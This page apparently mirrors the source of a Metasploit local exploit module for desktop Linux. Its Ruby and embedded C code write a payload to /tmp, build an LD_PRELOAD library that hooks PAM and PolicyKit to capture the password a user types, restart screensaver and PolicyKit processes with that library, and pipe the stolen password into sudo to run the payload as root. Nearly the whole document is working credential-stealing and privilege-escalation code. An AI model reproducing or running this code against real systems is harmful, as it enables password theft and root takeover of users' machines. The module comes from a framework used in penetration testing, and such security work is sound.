Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/linux/local/desktop_privilege_escalation.rb
32411 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
require 'base64'
7
require 'metasm'
8
9
class MetasploitModule < Msf::Exploit::Local
10
Rank = ExcellentRanking
11
include Msf::Exploit::EXE
12
include Msf::Post::File
13
14
def initialize(info = {})
15
super(
16
update_info(
17
info,
18
{
19
'Name' => 'Desktop Linux Password Stealer and Privilege Escalation',
20
'Description' => %q{
21
This module steals the user password of an administrative user on a desktop Linux system
22
when it is entered for unlocking the screen or for doing administrative actions using
23
PolicyKit. Then, it escalates to root privileges using sudo and the stolen user password.
24
It exploits the design weakness that there is no trusted channel for transferring the
25
password from the keyboard to the actual password verification against the shadow file
26
(which is running as root since /etc/shadow is only readable to the root user). Both
27
screensavers (xscreensaver/gnome-screensaver) and PolicyKit use a component running under
28
the current user account to query for the password and then pass it to a setuid-root binary
29
to do the password verification. Therefore, it is possible to inject a password stealer
30
after compromising the user account. Since sudo requires only the user password (and not
31
the root password of the system), stealing the user password of an administrative user
32
directly allows escalating to root privileges. Please note, you have to start a handler
33
as a background job before running this exploit since the exploit will only create a shell
34
when the user actually enters the password (which may be hours after launching the exploit).
35
Using exploit/multi/handler with the option ExitOnSession set to false should do the job.
36
},
37
'License' => MSF_LICENSE,
38
'Author' => ['Jakob Lell'],
39
'DisclosureDate' => '2014-08-07',
40
'Platform' => 'linux',
41
'SessionTypes' => ['shell', 'meterpreter'],
42
'Targets' => [
43
['Linux x86', { 'Arch' => ARCH_X86 }],
44
['Linux x86_64', { 'Arch' => ARCH_X64 }]
45
],
46
'DefaultOptions' => {
47
'PrependSetresuid' => true,
48
'PrependFork' => true,
49
'DisablePayloadHandler' => true
50
},
51
'DefaultTarget' => 0,
52
'Notes' => {
53
'Reliability' => UNKNOWN_RELIABILITY,
54
'Stability' => UNKNOWN_STABILITY,
55
'SideEffects' => UNKNOWN_SIDE_EFFECTS
56
}
57
}
58
)
59
)
60
register_advanced_options [
61
OptString.new('WritableDir', [true, 'A directory for storing temporary files on the target system', '/tmp'])
62
]
63
end
64
65
def check
66
check_command = 'if which perl && '
67
check_command << 'which sudo && '
68
check_command << 'id|grep -E \'sudo|adm\' && '
69
check_command << 'pidof xscreensaver gnome-screensaver polkit-gnome-authentication-agent-1;'
70
check_command << 'then echo OK;'
71
check_command << 'fi'
72
73
output = cmd_exec(check_command).gsub("\r", '')
74
75
vprint_status(output)
76
77
if output['OK'] == 'OK'
78
return Exploit::CheckCode::Vulnerable
79
end
80
81
Exploit::CheckCode::Safe
82
end
83
84
def exploit
85
# Cannot use generic/shell_reverse_tcp inside an elf
86
# Checking before proceeds
87
pl = generate_payload_exe
88
89
exe_file = "#{datastore['WritableDir']}/#{rand_text_alpha(rand(3..7))}.elf"
90
91
print_status("Writing payload executable to '#{exe_file}'")
92
write_file(exe_file, pl)
93
cmd_exec("chmod +x #{exe_file}")
94
95
cpu = nil
96
if target['Arch'] == ARCH_X86
97
cpu = Metasm::Ia32.new
98
elsif target['Arch'] == ARCH_X64
99
cpu = Metasm::X86_64.new
100
end
101
lib_data = Metasm::ELF.compile_c(cpu, c_code(exe_file)).encode_string(:lib)
102
lib_file = "#{datastore['WritableDir']}/#{rand_text_alpha(rand(3..7))}.so"
103
104
print_status("Writing lib file to '#{lib_file}'")
105
write_file(lib_file, lib_data)
106
107
print_status('Restarting processes (screensaver/policykit)')
108
restart_commands = get_restart_commands
109
restart_commands.each do |cmd|
110
cmd['LD_PRELOAD_PLACEHOLDER'] = lib_file
111
cmd_exec(cmd)
112
end
113
print_status('The exploit module has finished. However, getting a shell will probably take a while (until the user actually enters the password). Remember to keep a handler running.')
114
end
115
116
def get_restart_commands
117
get_cmd_lines = 'pidof xscreensaver gnome-screensaver polkit-gnome-authentication-agent-1|'
118
get_cmd_lines << 'perl -ne \'while(/(\d+)/g){$pid=$1;next unless -r "/proc/$pid/environ";'
119
get_cmd_lines << 'print"PID:$pid\nEXE:".readlink("/proc/$pid/exe")."\n";'
120
get_cmd_lines << '$/=undef;'
121
get_cmd_lines << 'for("cmdline","environ"){open F,"</proc/$pid/$_";print "$_:".unpack("H*",<F>),"\n";}}\''
122
123
text_output = cmd_exec(get_cmd_lines).gsub("\r", '')
124
vprint_status(text_output)
125
126
lines = text_output.split("\n")
127
128
restart_commands = []
129
i = 0
130
while i < lines.length - 3
131
m = lines[i].match(/^PID:(\d+)/)
132
133
if m
134
pid = m[1]
135
vprint_status("PID=#{pid}")
136
print_status('Found process: ' + lines[i + 1])
137
138
exe = lines[i + 1].match(/^EXE:(\S+)$/)[1]
139
vprint_status("exe=#{exe}")
140
141
cmdline = [lines[i + 2].match(/^cmdline:(\w+)$/)[1]].pack('H*').split("\x00")
142
vprint_status('CMDLINE=' + cmdline.join(' XXX '))
143
144
env = lines[i + 3].match(/^environ:(\w+)$/)[1]
145
restart_command = 'perl -e \'use POSIX setsid;open STDIN,"</dev/null";open STDOUT,">/dev/null";open STDERR,">/dev/null";exit if fork;setsid();'
146
restart_command << 'kill(9,' + pid + ')||exit;%ENV=();for(split("\0",pack("H*","' + env + '"))){/([^=]+)=(.*)/;$ENV{$1}=$2}'
147
restart_command << '$ENV{"LD_PRELOAD"}="LD_PRELOAD_PLACEHOLDER";exec {"' + exe + '"} ' + cmdline.map { |x| '"' + x + '"' }.join(', ') + '\''
148
149
vprint_status("RESTART: #{restart_command}")
150
restart_commands.push(restart_command)
151
end
152
153
i += 1
154
end
155
156
restart_commands
157
end
158
159
def c_code(exe_file)
160
c = %|
161
// A few constants/function definitions/structs copied from header files
162
#define RTLD_NEXT ((void *) -1l)
163
extern uintptr_t dlsym(uintptr_t, char*);
164
// Define some structs to void so that we can ignore all dependencies from these structs
165
#define FILE void
166
#define pam_handle_t void
167
extern FILE *popen(const char *command, const char *type);
168
extern int pclose(FILE *stream);
169
extern int fprintf(FILE *stream, const char *format, ...);
170
extern char *strstr(const char *haystack, const char *needle);
171
extern void *malloc(unsigned int size);
172
173
struct pam_message {
174
int msg_style;
175
const char *msg;
176
};
177
178
struct pam_response {
179
char *resp;
180
int resp_retcode;
181
};
182
183
struct pam_conv {
184
int (*conv)(int num_msg, const struct pam_message **msg,
185
struct pam_response **resp, void *appdata_ptr);
186
void *appdata_ptr;
187
};
188
189
void run_sudo(char* password) {
190
FILE* sudo = popen("sudo -S #{exe_file}", "w");
191
fprintf(sudo,"%s\\n",password);
192
pclose(sudo);
193
}
194
195
int my_conv(int num_msg, const struct pam_message **msg, struct pam_response **resp, void *appdata_ptr) {
196
struct pam_conv *orig_pam_conversation = (struct pam_conv *)appdata_ptr;
197
int i;
198
int passwd_index = -1;
199
for(i=0;i<num_msg;i++){
200
if(strstr(msg[i]->msg,"Password") >= 0){
201
passwd_index = i;
202
}
203
}
204
int result = orig_pam_conversation->conv(num_msg, msg, resp, orig_pam_conversation->appdata_ptr);
205
if(passwd_index >= 0){
206
run_sudo(resp[passwd_index]->resp);
207
}
208
return result;
209
}
210
211
int pam_start(const char *service_name, const char *user, const struct pam_conv *pam_conversation, pam_handle_t **pamh) __attribute__((export)) {
212
static int (*orig_pam_start)(const char *service_name, const char *user, const struct pam_conv *pam_conversation, pam_handle_t **pamh);
213
if(!orig_pam_start){
214
orig_pam_start = dlsym(RTLD_NEXT,"pam_start");
215
}
216
struct pam_conv *my_pam_conversation = malloc(sizeof(struct pam_conv));
217
my_pam_conversation->conv = &my_conv;
218
my_pam_conversation->appdata_ptr = (struct pam_conv *)pam_conversation;
219
return orig_pam_start(service_name, user, my_pam_conversation, pamh);
220
}
221
222
void polkit_agent_session_response (void *session, char *response) __attribute__((export)) {
223
static void *(*orig_polkit_agent_session_response)(void *session, char* response);
224
if(!orig_polkit_agent_session_response){
225
orig_polkit_agent_session_response = dlsym(RTLD_NEXT,"polkit_agent_session_response");
226
}
227
run_sudo(response);
228
orig_polkit_agent_session_response(session, response);
229
return;
230
}
231
|
232
c
233
end
234
end
235
236